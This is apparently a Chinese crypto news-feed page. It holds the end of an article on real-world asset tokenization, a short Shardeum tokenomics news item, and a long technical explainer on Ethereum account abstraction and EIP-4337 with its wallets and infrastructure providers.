Value）：资产的经济价值可以用资产在传统金融市场上的公平市场价值、最近的业绩数据、物理状况或任何其他经济指标来表示。 所有权和所有权的合法性（Ownership & Legitimacy of Title）：资产的所有权可以通过契据、抵押、票据或任何其他形式来确定。 法律支持（Legal Backing）：在涉及影响资产所有权或权益变更的情况下，应该有一个明确的解决流程，这通常包括资产清算、争议解决和执行的特定法律程序等。 数据上链（Information Bridging） 接下来，有关资产的经济价值和所有权及权益的信息在数据化之后被带到链上，存储在区块链的分布式账本中。 代币化（Tokenization）：在链下阶段包装的信息被数据化之后，上链并由数字代币中的元数据表示。这些元数据可以通过区块链访问，资产的经济价值和所有权及权益完全公开透明。不同的资产类别可以对应不同的 DeFi 协议标准。 监管技术/证券化（Regulatory Technology/Securitization）：对于需要被监管或被视为证券的资产，可以通过合法合规的方式将资产纳入 DeFi。这些监管包括但不限于发行证券型代币的许可、KYC/AML/CTF、上架交易所合规要求等。 预言机（Oracle）：对于 RWA，要参考现实世界的外部数据以准确地描绘资产的价值，如股票 RWA，则需要访问该股票的业绩数据等。但是由于区块链无法将外部数据直接从集中到区块链上，则需要如 Chainlink 这类将链上数据与现实世界信息的数据连接，用于向 DeFi 协议提供链下资产价值等数据。 RWA 协议的需求和供应（RWA Protocol Demand and Supply） 专注于 RWA 的 DeFi 协议推动了现实世界资产代币化的整个流程。在供应端，DeFi 协议监督 RWA 的形成。在需求端，DeFi 协议促成投资者对 RWA 的需求。通过这种方式，大多数专门研究 RWA 的 DeFi 协议既可以作为 RWA 形成的起点，也可以为 RWA 最终产品的提供市场。 RealT 是一个以美国房产资产为基础创建的 DeFi RWA 平台。RealT 的投资者能够获得房地产投资的机会，而无需拥有房展的所有权。RealT 上的房产所有者可以出售其房产的部分所有权（sell fractional shares of ownership）。 为了使一套位于美国的房产代币化，该房产的价值需要在链下先进行确认，这需要 RealT 委托第三方机构对房产进行评估、对所有权进行确认、设计房产权益的变更的应对措施（如出现租户不付租金、房产被抵押回收等情形）。 之后，将该房产的信息数据化后上链。更具体地说，该房产的相关数据将被代币化、证券化，并通过 Oracle 传输。RealT 并非对现实世界的实物资产代币化，而是根据 ERC-20 标准协议，对特殊目的载体（SPV）的股份进行代币化，该特殊目的载体（SPV）持有如房产所有权、房产收益权等财产契约。 由于上述操作可能涉及证券的发行和出售，在证券化方面，RealT 根据美国证券法 D 条例以及 S 条例提交文件申请证券豁免。此外，RealT 还在协议中内置了 KYC 技术，合法合规则引入投资者和卖家。最后，RealT 通过 Oracle 为其 DeFi 应用提供公平的市场价值。 资产证券化（Asset-backed Security, ABS）指原始权益人将预期能产生现金流的基础资产通过结构化等方式加以组合，使其能够在市场上发行和交易的融资手段。 ABS 通过特殊目的载体（SPV）进行资产重组，达到风险隔离和流动性增强的效果。ABS 将基础资产的现金流重新打包切割风险和收益，并通过特殊目的载体（SPV）实现原始权益人和基础资产权利关系的隔离，使得投资者免受原始权益人的破产风险和其他资产风险的影响。 在此基础上，ABS 产品还通过各类增信手段进行信用增级设计，因此资产支持证券的信用评级往往高于原始权益人的主体信用评级。通过 ABS，发行人能够盘活存量流动性差的优质资产、拓宽融资渠道。与此同时，ABS 形式多样的产品特征可以满足不同投资者的风险收益要求。 ABS 涉及多方参与机构。ABS 的流程包括选取基础资产、组建资产池、设立特殊目的载体（SPV）、资产转让、资产分层、信用增级和评级、销售交易、资金回收和分配等步骤。一般而言，资产提供方被称为发起人，也叫原始权益人，其设立的特殊目的载体（SPV）是形式上的发行人。除此之外，资产证券化流程中还涉及借款人、投资者、承销商、资金保管机构、登记结算机构等主体。 ABS 被认定为标准化债权资产，在传统金融监管机构下（证券）运行，各方市场参与者无论是发行人、投资者，还是各个中介方都具有相对较高的门槛，并且受到监管机构较强的监管。 而 RWA 的底层资产理论上能够包含所有权属清晰、对应货币价值的资产，包括有形资产和无形资产。此外，在经过底层资产的数据化上链之后形成的 RWA 运行在 DeFi 的生态中，消除了传统金融体系需要中介提供信用背书的需求。但是在 RealT 案例中我们看到，在将底层资产数据化的之前，还是需要评估、财务、法律等相关机构的参与，以将低沉现实世界资产合规地数据化上链。在这点上可以参考 ABS 的做法。 随着 DeFi 市场的不断深化，以及原生 DeFi 主体和 TradFi 公司对 RWA 的不断渗透，必将带来 RWA 赛道的蓬勃发展，无论是 RWA 提供的市场类型，还是 RWA 所代表的底层资产类型，都在日益多样化。 在 RWA 生态中，权益类市场占比相对较小，其中的原因之一是大部分权益类市场的底层资产都能够在传统的金融市场进行交易，并配有严格的监管，如大部分司法辖区的证监会对于资产证券化的严格监管。此外，权益类市场的底层资产大多具备实物所有权及其他权益的属性，如上述 RealT 房地产项目中，如何将底层实物资产的所有权及权益在现实世界中和数字世界进行区分就变得十分复杂。如 Backed Finance，作为为数不多的提供权益类 RWA 的协议之一，需要根据 Swiss-DLT 法案进行注册，并且必须对每个 RWA 的底层资产所有权进行足额支持。 固定收益市场占 RWA 生态的大头，由于 RWA 协议能够对底层资产进行分割碎片化，使得在传统金融领域未被分割、固定总额、且体量较大的固定收益资产能够接触到更多的投资者。这种 DeFi 协议的创新能够吸引非传统领域的市场参与者。 DeFi 投资者能够由此进入到门槛相对较高的传统金融的固定收益领域，打开一条新的投资渠道；借款人也能够获得一条门槛相对较低的融资渠道，并且融资的币种相对于其法定货币更加稳定（亚非拉等国家）。在固定收益市场，主要有两类 RWA 协议：（1）资产抵押借贷；（2）无抵押借贷。 基于法币的稳定币是原始的 RWA，也是迄今为止最引人注目的 RWA 基础工具。稳定币是一种虚拟资产，旨在将其价格与外部资产（通常是法定货币）的市场价值挂钩。自 2014 年第一批稳定币问世以来，稳定币日益成为虚拟资产市场的基础，提供了进入 DeFi 的入口/出口、链上价格稳定以及一种熟悉的交换手段。 除了稳定币之外，作为 RWA 最受欢迎的基础资产类别是房地产，其次是与气候相关的基础（如碳信用额度）和公共债券/股票基础，其次是新兴市场信贷（主要是企业债务）的基础，等等。 MakerDAO 是以太坊上的一个抵押借贷平台，可以说在 RWA 采用方面取得了最大的进展。MakerDAO 允许借款人将抵押资产存入“金库”，这样借款人就可以提取协议原生稳定币 DAI （基于美元计价）的债务。金库是一种智能合约，它持有借款人基于以太坊的抵押品，直到所有借来的 DAI 都被归还。只要抵押品的价值保持在特定的阈值以上，不会触发相关清算机制。然而，如果抵押品的价值下降到不足的地步，金库将通过拍卖程序自动清算抵押品，这样贷款就可以以一种无需信任的方式偿还。 借款人可以使用的抵押品类型由协议的治理 DAO —— MakerDAO 来决定。2020 年，MakerDAO 投票允许借款人将基于 RWA 的抵押品发布到金库。除了这次投票，MakerDAO 还选择为 Oracle 预言机开发提供资金，以便平台上基于 RWA 的抵押品的价值可以与抵押品的链下价值无缝定价。 今天，MakerDAO 的 RWA 金库价值超过 6.8 亿美元。这意味着，通过 RWA 支持的贷款，MakerDAO 已经能够将发行到市场的 DAI 数量扩大。此外，这意味着有超过 6.8 亿美元的 RWA 帮助维持 MakerDAO 的 1 美元挂钩稳定性。 四、RWA 的发展与挑战 RWA 在连接 TradFi 和 DeFi 的方式上具有创新性。然而，为了使这一桥梁在长期内可行，除了适配 RWA 的公链需要发展，以及宏观的市场环境之外，RWA 相关的政策监管有待得到进一步明确。这将是决定 RWA 发展的关键。 在今天的大多数国家，缺乏明确的法规来监管和管理现实世界资产的代币化。只有少数几个国家，如瑞士（承认虚拟资产为无记名资产）和法国（采用了 CAST 框架，这是一种使用底层区块链作为结算同时保留链下登记的混合形式），采取了对 RWA 发展有益的监管规定，明确了协议应该如何将现实世界资产带入区块链。进一步的监管清晰度将促进 RWA 领域的持续发展和创新。 此外，保护 RWA 价值的执行机制尚未建立。考虑这样一个场景：借款人拖欠贷款，协议必须清算其 RWA 抵押品以偿还贷款人。鉴于底层资产抵押品不是流动性的 ERC-20 代币，清算这些资产以收回贷款人的资本可能比使用虚拟抵押品的贷款要麻烦得多。因此必须采用另一种为贷款方服务的清算程序。此外，也必须有一个链下的、法律约束的执行机制，以确保借款人的清算过程得到最佳处理。 虽然在 TradFi 和 DeFi 之间架起一座桥梁的想法令人兴奋，但我们应该认识到，这座桥梁只有通过现实物理和数字领域之间的无缝法律、运营的协调才能实现。这种类型的协调需要在 DeFi 或 TradFi 故障的情况下，依然能够进行无缝的信息交换和良好执行的程序。 更广泛地说，RWA 的叙述对于虚拟资产市场尤其值得注意，因为它是一个更加与现实世界相互关联的例子。DeFi 不再孤立于现实世界和 TradFi。区块链越来越多地拥有现实真实世界的用例，并证明了它作为一种变革性技术的价值。   ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。  ( 6 min )
    公链项目Shardeum公布代币经济模型，51%将作为节点奖励
    PANews 4月20日消息，公链项目Shardeum公布代币经济模型，其SHM代币的49%将分配给基金会、生态系统、团队和销售账户，剩余51%将作为节点奖励。 主网启动时，基金会将收到总供应量5.08亿枚SHM代币的11%，生态系统将收到5%，主网启动后3个月团队和销售账户的代币才开始分期释放，分别占 代币总供应量的15%和18%。 据悉，Shardeum由币安旗下印度加密交易所WazirX联合创始人Nischal Shetty创建，是使用分片技术的Layer 1区块链网络，目前采用测试网形式，旨在提供低交易费用。 相关阅读：深挖估值2亿美元的新公链Shardeum：WazirX联合创始人“新瓶装旧酒”  ( 1 min )
    万字详解以太坊账户抽象与ERC-4337：如何打开下一个10亿级用户入口？
    原文：《万物研究院：Web3的下一个十亿级用户市场？全面解读账户抽象与EIP4337的技术和应用》 作者：Steve Wang，万物研究院研究员，沃顿商学院在读，前端&合约工程师 以太坊改进提案4337（EIP 4337）定义的账户抽象是一组协议层的接口。它不仅集成了web2用户熟悉的交互形式，如多因素认证（multi-factor authentication），还给web3特有的用户痛点提出了解决方案，如无需手续费（gasless）的交易。作为引入下十亿用户的协议接口，用户体验是账户抽象最关注的重点。 虽然许多现有的文章很好地解释了账户抽象，但是大多偏科普向，也有少数十分深入于技术细节。本文旨在融合两者：既提供关于账户抽象概念的全面技术解读，也分类剖析现有应用和基础设施的案例。因此本文分为三部分：在第一部分，我们将探讨EIP 4337的起源，并深入了解其技术细节，包括用户操作（UserOperation）、打包器（Bundler）、入口点合约（Entry Point Contract）、代付合约（Paymaster）、钱包工厂（Wallet Factory）和签名聚合器（Signature Aggregator）。在第二部分，我们将分析现有的市场玩家，包括智能合约钱包和第三方基础设施提供商。在第三部分，我们将讨论账户抽象的发展方向，包括该领域的创新展望和预测。 本文篇幅较长，第一部分主要为账户抽象的技术解读，只对账户抽象的应用场景感兴趣的读者可以直接跳到第二部分。 首先来简要回顾一下基础知识，以太坊有两种类型的账户：外部拥有的账户（externally owned accounts，即EOA）和合约账户。 图：EOA与合约账户（来源：Bitcoin Insider） 智能合约钱包早在EIP 4337之前就已存在。EIP 4337的提出是为了标准化设计智能合约钱包及其相关基础设施的通用功能。EIP 4337遵循以下几个设计原则： EIP 4337为标准化智能合约钱包定义了六个合约接口： 首先，智能合约钱包本身，会通过打包器触发入口合约来间接触发，在链下验证交易，然后在链上执行。 其次，打包器（Bundler），用于批量验证和执行用户操作（UserOperation，即EIP 4337定义的智能合约钱包的交易类型）。 第三，入口合约（Entry Point Contract）是在以太坊只存在一份的全局合约，用于标准化交易执行并防止打包器受到恶意交易的DoS攻击。 第四，代付合约（Paymaster），用于代表钱包用户处理gas支付。 第五，合约工厂（Wallet Factory），用于标准化钱包创建的参数和流程。 第六，签名聚合器（Signature Aggregator），用于将多个交易的签名聚合为字节，以便更快地验证和执行交易。 下面我将详细介绍用户操作（UserOperation）和上述的六个合约接口，是对官方EIP 4337文档和David Philipson@Alchemy账户抽象系列的解读。 UserOperation本质上和普通交易相同，只是基于EIP 4337的合约接口定义了额外的参数。这里回顾一下，一个EOA触发的普通以太坊交易有交易目标地址、转账以太坊数量、gas数量和gas价格等参数。 此外，考虑到EIP 4337合约接口的模块化设计，UserOperation包括以下主要参数用于定义接口的触发： 除了需要额外的参数以外，UserOperation的工作流程与普通交易类似：它们都被广播到mempool中进行验证、执行并最终完成出块。UserOperation的验证和执行由打包器（Bundlers）触发，我将在下文中解释。 图：官方EIP 4337文档对UserOperation参数的定义 2. 打包器（Bundler） Bundler是一个外部账户（EOA），代表用户在智能合约钱包上验证和执行UserOperation交易，因为在以太坊上，所有交易都必须由EOA触发。Bundler使用户不用创建和记忆EOA的私钥就可以触发智能合约钱包交易，这也是智能合约钱包存在的初衷。 虽然Bundler具有很强的公共物品（public goods）属性，他们也可以获得经济上的利益，因为： 尽管用户付出了成本，但Bundlers对于节省gas是有好处的，因为每执行一笔交易都需要21,000 gas的固定成本，而执行捆绑交易可以把一笔交易的固定成本分摊给捆绑交易里的多UserOperation，从而节省gas成本。此外，在同一笔交易中多次修改storage，每次额外操作的gas费都会边际递减。 需要注意的是，尽管以太坊上的交易是线性执行（非并行）以避免状态冲突（state conflict），多个UserOperations可以放在一个捆绑交易里执行，因为Bundlers可以设置同一智能合约钱包地址最多包含一个UserOperation，这样捆绑交易在修改状态时不会相互冲突。 除了这些差异之外，Bundlers与区块构建者（Block Builder）类似，因为它们都将经过验证的UserOperation广播到公共或私有的mempool中。接下来，我们将介绍入口点合约（Entry Point Contract），Bundler需要与之交互来执行UserOperation。 入口点合约是一个全局单例（global singleton）合约，所有Bundlers都需要调用它来执行UserOperation。它充当了Bundler与智能合约钱包之间的中间人： 图：官方EIP 4337文档中的入口点合约工作流程 4. 智能合约钱包主合约 智能合约钱包主合约将UserOperation的验证和执行步骤分开： 通过分离UserOperation的验证和执行，Bundler可以在链下验证UserOperation，从而不需支付gas就可以过滤掉恶意交易。 因此validateOp函数也起到了链下debug API的作用。 代付合约（Paymaster）定义了智能合约钱包的gas抽象的逻辑。Gas抽象的形式包括用ERC20同质化代币支付以太坊gas和无需gas的交易，两者都可以由Paymaster来实现。ERC-4337的模块化设计允许UserOperation通过paymasterAndData参数指定任意的Paymaster地址和输入参数。Paymaster具有以下功能和要求： Paymaster（至少在官方的愿景中）是一个充满竞争的开放市场。虽然官方没有定义Paymaster的链上信誉系统，Bundlers可以在链下记录Paymaster的服务质量并停止使用质量较低的Paymaster，从而激励Paymaster为UserOperation提供可靠的服务。 Paymaster接口定义了两个函数： 图：官方EIP 4337文档中的Paymaster工作流程 Wallet Factory是一个创建智能合约钱包的合约。 回顾一下，UserOperation有一个可选的initCode字段。当initCode为空时，UserOperation只是触发智能合约钱包的功能。当initCode填充了Wallet Factory地址和新智能合约钱包的参数时，Bundler将触发相应的Wallet Factory使用指定参数创建智能合约。 Wallet Factory在以下方面有助于实现账户抽象： Wallet Factory还有其他职责。与Paymaster类似，它们需要在入口点合约上抵押ETH并持续性地为UserOperations提供良好的服务，以便从Bundler那里获得更多流量。 因为不同的智能合约钱包使用不同的签名算法，所以需要先将使用相同签名算法的UserOperations聚合起来，然后分别进行验证。此外，由于链上密码学计算会消耗大量gas，支持聚合的签名方案（如BLS）可以在链上验证过程中节省gas。因此我们需要一个名为签名聚合器（Signature Aggregator）的EIP 4337智能合约接口。它可以通过实现以下两个函数来支持特定的签名算法： 与其一次验证一个UserOperation，Bundler首先会使用多个签名聚合器合约（每个签名算法使用一个）生成多个聚合签名（每个签名算法生成一个）。之后，Bundler将UserOperation数组、聚合签名和聚合器地址传递给入口点合约，每个UserOperation数组会调用其对应的签名聚合器的validateSignature函数。验证通过后，Bundler就会在智能合约钱包上执行这组UserOperations。 与Paymaster和Wallet Factory类似，聚合器也需要在入口点合约上质押以太坊并保持为UserOperations提供良好服务的记录。 图：官方EIP 4337文档中的签名聚合器接口 8. 整体工作流程总结 EIP 4337的模块化设计将智能合约钱包的账户抽象功能分为多个接口。这些接口的功能合在一起可以总结为如下的工作流程： 图：没有签名聚合器的账户抽象工作流程（Alchemy提供） UserOperation在链下和链上都会触发validateOp等函数进行交易验证。为了防止智能钱包合约外部的状态变化（state change）导致链下和链上的验证结果不一致，EIP 4337禁止验证函数使用读取合约外部storage和读取全局状态（如时间戳）的OpCodes。这种禁止适用于validateOp、validatePaymasterOp和validateSignatures这些验证函数。 智能合约钱包是账户抽象市场中最大的参与者。为了与EIP 4337兼容，它们通常会实现自己的打包器（Bundler）、代付合约（Paymaster）、钱包工厂（Wallet Factory）和签名聚合器（Signature Aggregator）。这些钱包还配备了方便dApp集成钱包的SDK。智能合约钱包市场比较拥挤，既有老牌大玩家如多签钱包Gnosis Safe在原有产品基础上实现账户抽象功能，也有市场新人如Candide专注于构建完全兼容EIP 4337的智能合约钱包。本节将介绍这些钱包的共同特点以及每个特点中的差异化。 a. 社交登录（social login）和社交恢复（social recovery） 社交登录为智能合约钱包提供了Web2用户非常熟悉的交互体验，例如使用已有的Google帐户创建和登录钱包。同样的逻辑也可以延伸到社交恢复上，例如使用邮箱重置智能合约钱包的密码。社交登录和社交恢复的逻辑一般在钱包的主合约中定义。 这里我们引入守护者（Guardian）的概念。守护者是指可以授权用户访问某账户或帮助用户重制恢复某帐户的实体。守护者可以是Web2账号也可以是邮箱地址。这个概念在Web2中已经有了很广泛的应用，现在也可以通过账户抽象的概念在智能合约钱包中实现。 一个智能合约钱包可以有多个守护者。用户需要在创建钱包过程中或之后设置守护者，并达到一定的守护者验证阈值，例如3个守护者中的2个，以登录或恢复钱包。这个过程通常被称为多因素认证（multi factor authentication）。以下是常见的智能合约钱包守护者类型： 让我们看看一些市场上玩家对此功能的实现： 图：Web3Auth社交登录和社交恢复，此案例中有三个守护者 b. Gas Abstraction（gas抽象，gas即交易手续费） Gas abstraction包含无gas交易和使用任意ERC20代币支付gas。这些逻辑可以在代付合约（Paymaster）中实现，也可以通过中继器（Relayer）实现。 许多智能合约钱包自己实现了与EIP 4337兼容的Paymaster合约，并在入口点合约上质押代币，帮助用户支付gas。 Relayer是在EIP 4337之前就存在的另一个gas abstraction的解决方案。 Relayer是用户信任的交易转发者，执行一种称为“元交易”（meta-transaction）的特殊类型的无gas交易。元交易是一种以太坊交易，它在原始交易中插入另一个交易。用户使用私钥对元交易进行签名，并将其发送给Relayer，后者对其进行验证，将其提交给区块链，并代付gas。Relayer只是执行交易，而不改变交易本身。 Relayer会获取经济上的利益，因为它们会向执行交易的合约收取gas费用加上一小笔利润。例如，Relayer可以向支持无gas交易的去中心化应用（dApp）收费。Relayer可以是中心化的可信第三方，也可以是去中心化的网络。Relayer与代付合约（Paymasters）的区别在于以下几点： 让我们看看一些市场上玩家对此功能的实现： 到目前为止，大多数ERC20支付gas的解决方案（如Candide和Soul Wallet）仅支持非常有限的代币类型，主要是稳定币，尽管我预见这在未来会发生变化。 图：Biconomy 使用Paymaster支持无gas交易（基于EIP 4337的技术实现） c. 法币出入金通道（ramps）和跨链桥（bridges） 许多现有的钱包，如MetaMask，已经通过和第三方供应商合作的方式把法币出入金通道和跨链桥集合在钱包中。这些出入金通道和跨链桥可以进一步与gas abstraction中的代付合约（Paymaster）进行集合。 让我们看看一些市场上玩家对此功能的实现： d. 交易批处理（transaction batching） 交易批处理是智能合约钱包独有的功能，允许钱包用户在一个链上交易中执行多个交易。一种实现方法是调用一个multiCall函数，它接受两个参数：一个calldata数组（每个calldata定义一个函数调用）和一个合约地址数组（每个函数调用的合约地址）。multiCall函数中有一个循环（loop）并在每次循环里执行一个函数调用。交易批处理可以使多个交易分摊一个以太坊交易的固定gas费，从而减少成本。 请注意，交易批处理不同于签名聚合（signature aggregation），后者接受一个UserOperations数组作为输入参数并输出一个聚合签名字节以加快多个签名验证的速度。而这个数组中的每个UserOperation都可以调用一个multiCall来执行交易批处理。 在EIP 4337中实现交易批处理的方式如下：入口点合约调用handleOp函数，然后该函数再调用智能合约钱包主合约内定义的multiCall函数。 让我们看看一些市场上玩家对此功能的实现： 图：示例 MultiCall 合约（Solidity by Example提供） e. 智能合约钱包的模块化设计（modular design） 智能合约钱包相对于EOA的一个主要优势是其模块化设计。钱包的功能可以通过钱包提供商开发的合约模块进行扩展。这些模块提供了EIP 4337接口中未定义的功能，并可以由用户自定义。模块化设计下，智能合约钱包是可升级的。这种做法在EIP 4337发布之前就已经是行业标准，由诸如Gnosis Safe之类的产品率先推出。Gnosis Safe是一款主要针对商业用户的多签名钱包，提供一系列EIP 4337没有定义的功能： 同样的模块化设计也被EIP 4337兼容的钱包继承，包括Argent、Candide、Soul Wallet和zeroDev。 另一种扩展智能合约钱包功能的方法是在钱包里原生地集成去中心化应用（dApps）。例如，Gnosis Safe为dApps提供了一个SDK。使用此SDK的dApp可以直接出现在钱包界面中，等同于为钱包提供了一个内置的应用商店。其他类似解决方案包括WalletConnect。然而，这些前端解决方案并不是协议层的设计，因此超出了本文讨论的范围。 图：Candide钱包的模块化设计与Safe（即Gnosis Safe）类似（Candide钱包官网提供） 2. 基础设施提供商 下面将讨论各种Layer 2对账户抽象的支持以及打包器（Bundlers）和代付合约（Paymasters）的第三方基础设施提供商。 a. Layer 2上的账户抽象 鉴于最近L2的爆炸式增长，许多智能合约钱包已将开发重点转向L2。许多L2都原生地支持与EIP 4337非常相似的账户抽象合约标准，本节将对此进行探讨。 Optimism Optimism的第一版通过引入三个EVM不支持的OVM OpCodes来实现账户抽象。在Optimism的技术实现中，智能合约是唯一的账户类型（不存在EOAs），因此所有用户钱包都是智能合约钱包。智能合约钱包还可以通过调用upgrade函数升级合约代码。 不幸的是，为了与EVM保持完全一致和出于安全方面的考虑，Optimism的第二版移除了这三个OVM Opcodes和对账户抽象的支持。 虽然目前有少数智能合约钱包正在Optimism上构建，但是尚无关于支持账户抽象的官方声明。 Arbitrum 虽然目前有少数智能合约钱包正在Arbitrum上构建，但是尚无关于支持账户抽象的官方声明。 Starknet 与以太坊不同，Starknet不区分EOA和合约账户。因此，所有Starknet账户都是智能合约账户。Starknet的账户模型受到EIP 4337的很大影响，具体表现在以下方面： Starknet对账户抽象的实现和以太坊相比依旧存在显著的差异： 图：Starknet没有EOA账户类型，只有合约账户（Starknet官网提供） zkSync zkSync也不区分EOA和合约账户，因此原生地支持账户抽象。zkSync的账户模型与EIP 4337十分类似，具体表现在以下方面： 然而，zkSync实现的账户抽象和以太坊也存在显著差异： b. 第三方基础设施提供商（非智能合约钱包） 如上所述，账户抽象基础设施包括可以发送UserOperations的客户端SDK、打包器（Bundlers）、代付合约（Paymasters）和签名聚合器（Signature Aggregator）。这些基础设施通常由智能合约钱包自身实现，从而更好地整合产业上下游，但是大多数都不是为第三方使用而设计的。因此市场上需要第三方基础设施提供商来提供模块化和可定制的Bundler和Paymaster服务。一些知名的基础设施玩家比如Alchemy也进入了这个市场。本节会深入探讨这些第三方基础设施提供商。 Stackup Stackup是一个Bundler和Paymaster的提供商。其Bundler采用Go语言实现，通过了所有EIP 4377测试套件的要求，完全开源且免费使用。Stackup Bundler支持不同的模式： Stackup还支持两种类型的Paymaster： 图：Stackup的基础设施产品套件 Blocknative Blocknative主要是一个内存池浏览器和可视化工具提供商。得益于其对于内存池较强的理解，Blocknative提供了具有独特功能的打包器（Bundler）服务，例如： Alchemy Alchemy目前正在开发其Bundler和Paymaster服务，潜在用户可以加入waitlist。 图：Alchemy的EIP 4337基础设施服务还在开发中 eth-infinitism eth-infinitism是以太坊基金会的官方团队，目前已经实现了EIP 4337标准定义的Bundler和Paymaster。关于该团队的文档很少，但是根据Stackup的一篇文章，截至2023年2月，eth-infinitism是通过EIP 4337官方测试套件的唯一两个Bundler之一（另一个是Stackup）。 根据Web3Caff Research最近的一篇研报，以太坊中所有交易的发起地址（from参数）去重后的总数约为1.5亿。然而，智能合约钱包的总数，以Gnosis Safe和Argent账户的总和来估算（这两个产品的用户最多），仅为15万。 假设在终局，EOA和智能合约钱包的数量相等，我们可以预测智能合约钱包的市场规模有1000倍的潜力。 尽管如此，生态对智能合约钱包的采用并不会一帆风顺。像MetaMask这样的EOA钱包巨头仍未宣布采用EIP 4337的计划。尽管我们不知道他们的意图，但也不难推断，主流EOA钱包的巨大利润并不足以支持其团队内部采用一个基础设施都不完善的新标准。UserOperation仍然不是dApps广泛使用的主流交易类型。虽然如此，我依旧对智能合约钱包市场保持乐观态度，也可以预见到智能合约钱包对用户体验的大幅改善会为账户抽象市场带来的指数级的增长，尽管这种爆发可能还需要一两年才发生。 尽管EIP 4337定义了诸如打包器（Bundler）、代付合约（Paymaster）和签名聚合器（Signature Aggregator）等基础设施的合约接口，以太坊官方并没有给出很多重要技术问题的解决方案，而这些问题需要项目方反复尝试不同的技术实现，比如： 尽管zkSync和Starknet已经原生地支持账户抽象，但它们仍未实现所有的EIP 4337接口，并且在技术实现上与以太坊存在差异。尽管许多项目团队正在为Optimism和Arbitrum构建智能合约钱包、打包器（Bundlers）和代付合约（Paymasters），但这些L2尚未宣布官方支持EIP 4337的计划，账户抽象也并非他们的开发重点。 从纯技术的角度来看，L2账户抽象基础设施的实现比L1更为复杂。例如，在验证步骤中，一个L2智能合约钱包需要同时估算L1和L2的gas费，并分摊给捆绑交易（bundle）里的每个UserOperation。 尽管钱包市场上有许多创新的功能（如gas抽象、社交恢复、MPC等），大多数智能合约钱包都支持所有上述功能，因为这些功能的技术实现并不困难。因此，智能合约钱包的商业层面与用户体验层面同样重要。重要的商业因素包括： 无需许可（permissionless）且模块化（modular）的Bundler服务是一种公共物品（public good）。绝大多数Bundler的开源性质决定它们是非排他性和非竞争性的。任何RPC端点都可以通过复制开源代码来运行一个Bundler。即使运行Bundler的RPC端点通过API密钥来收取服务使用费，Bundler服务也比其他基础设施（如代付合约Paymaster）更难盈利，因为后者可以通过与第三方出入金或DeFi协议聚合器提供商合作轻松赚取费用差价。虽然更难商业化，但是Bundler是一种重要的公共物品，因为UserOperation的验证和执行需要尽可能多的Bundler参与从而更好地去中心化。因为Stackup和eth-infinitism是目前唯二可用的第三方Bundler服务提供商，所以我们肯定需要更多这样的Bundler服务提供商。 Bundler服务提供商需要克服许多技术难点： Bundler服务提供商的差异化在于： 本节将列举智能合约钱包和账户抽象基础设施中最需要的创新。 无需许可和模块化的EIP 4337基础设施 让我们首先设想一下EIP 4337基础设施的终局： 在当前市场状态下，许多智能合约钱包已经构建了自己的基础设施，但是这些基础设施并未针对第三方的不同使用场景。诸如Stackup之类的第三方基础设施提供商正在开发模块化的Bundler和Paymaster，但是它们的部署过程仍然远未达到无需许可。因为EIP 4337尚未完成，这些基础设施的模块化功能还没有被全部定义。此外，由于UserOperation交易量依旧较低，启用了签名聚合的钱包（如BLS Wallet）仍然不是主流。 EIP 4337下游基础设施 这些包括EIP 4337未定义但实现EIP 4337基础设施所需的下游基建，比如可以集成到Paymaster的法币出入金聚合器和DeFi聚合器。因为这些解决方案已经存在，所以创新最有可能在现有提供商内部发生，提供商只需重新配置它们公开的接口。 dApp SDK和脚手架 尽管现有的智能合约钱包都为了方便dApp集成而构建了自己的客户端SDK，但市场仍然缺少： 更激进的做法：将账户从智能合约钱包分离 EIP 4337的智能合约钱包接口只需要一个validateOp函数，将所有的核心业务逻辑，如用户注册、权限控制和社交恢复等，留给钱包开发者自由决定。虽然这提供了更多的灵活性，但不同的智能合约钱包会更加割裂以太坊生态，因为一个钱包中的数据不能轻易地转移到另一个钱包。dApp也可能通过支持某些智能合约钱包而不支持其他钱包加剧这种分裂。 此外，尽管用户可以通过邮箱或其他在Web2常见的流程登录智能合约钱包，他们仍需要通过“连接钱包”这类Web2用户不熟悉的操作流程来登录dApp。 解决这些问题的一个激进方案是通过创建新的账户标准，将账户与智能合约钱包分离，例如Hexlink倡导的EIP 6662。EIP 6662定义了一个IAccountMetadata的账号接口，使用户可以自定义自己账号的认证方法（如Web2社交媒体账号），从而将认证逻辑从钱包主合约转移到单独的账户接口。支持此接口的智能合约钱包可以允许用户将其账户数据转移到另一个钱包。支持此接口的dApp可以允许用户使用账户接口中定义的Web2认证方法登录他们的Web3账户。dApp可以验证来自Web2认证方法的签名，以此查询Web3账户地址，向Web2账户推送通知，并连接到Web3账户。用户不需要为不同的dApp创建其支持的不同的钱包。相反，dApp会自动连接到与用户Web2认证方式关联的Web3账户。用户账户和钱包不再是一体也不再受制于钱包，钱包本质上成为了用户可以登录账户来进行资产管理的dApp。 鸣谢与免责 在撰写本文时向几位行业专家和朋友进行了请教交流，特别在此感谢陈剑Jason、PlanckerDAO的王奕翔Aaron、独立研究员菠菜菠菜、Hexlink团队、AntAlpha Ventures的Circle Fang、Skyhigh等各位的交流探讨！ 因本人认知有限，调研时间有限，可能会出现错误和疏忽。如有不同意见，欢迎交流指正，非常感谢！研究为个人兴趣，与文章里提到的所有项目都不存在经济利益关系，但也不作为投资建议。 参考文献 https://ethereum.org/en/roadmap/account-abstraction/ https://eips.ethereum.org/EIPS/eip-4337 https://antalphaventures.notion.site/2edc5e36f69a44fe9a27dad0ef6ac3fb?v=a0fad60e889a4b2f831a2349d92ca11b https://www.stackup.sh/blog/a-guide-to-the-top-erc-4337-bundlers-features-performance-and-more https://github.com/PaymagicXYZ/awesome-account-abstraction https://camiinthisthang.substack.com/p/account-abstraction-for-everyone https://research.web3caff.com/zh/archives/4660 https://research.web3caff.com/zh/archives/3212 https://www.alchemy.com/blog/account-abstraction https://www.alchemy.com/blog/account-abstraction-paymasters https://www.alchemy.com/blog/account-abstraction-wallet-creation https://www.alchemy.com/blog/account-abstraction-aggregate-signatures https://docs.starknet.io/documentation/architecture_and_concepts/Account_Abstraction/approach/ https://era.zksync.io/docs/dev/developer-guides/aa.html#example-of-using-the-library https://www.alchemy.com/account-abstraction https://docs.zerodev.app/ https://eips.ethereum.org/EIPS/eip-4361 https://beta-docs.0xpass.io/ https://braavos.notion.site/Public-Docs-d98f625edb2e4399acab2e30d060ef8e https://github.com/proofofsoulprotocol/soul-wallet-contract https://docs.wallet.unipass.id/introduction/intro https://docs.blocknative.com/4337-tools/blocknative-bundler https://docs.candidewallet.com/develop/getting-started https://docs.stackup.sh/docs/packages/bundler/introduction 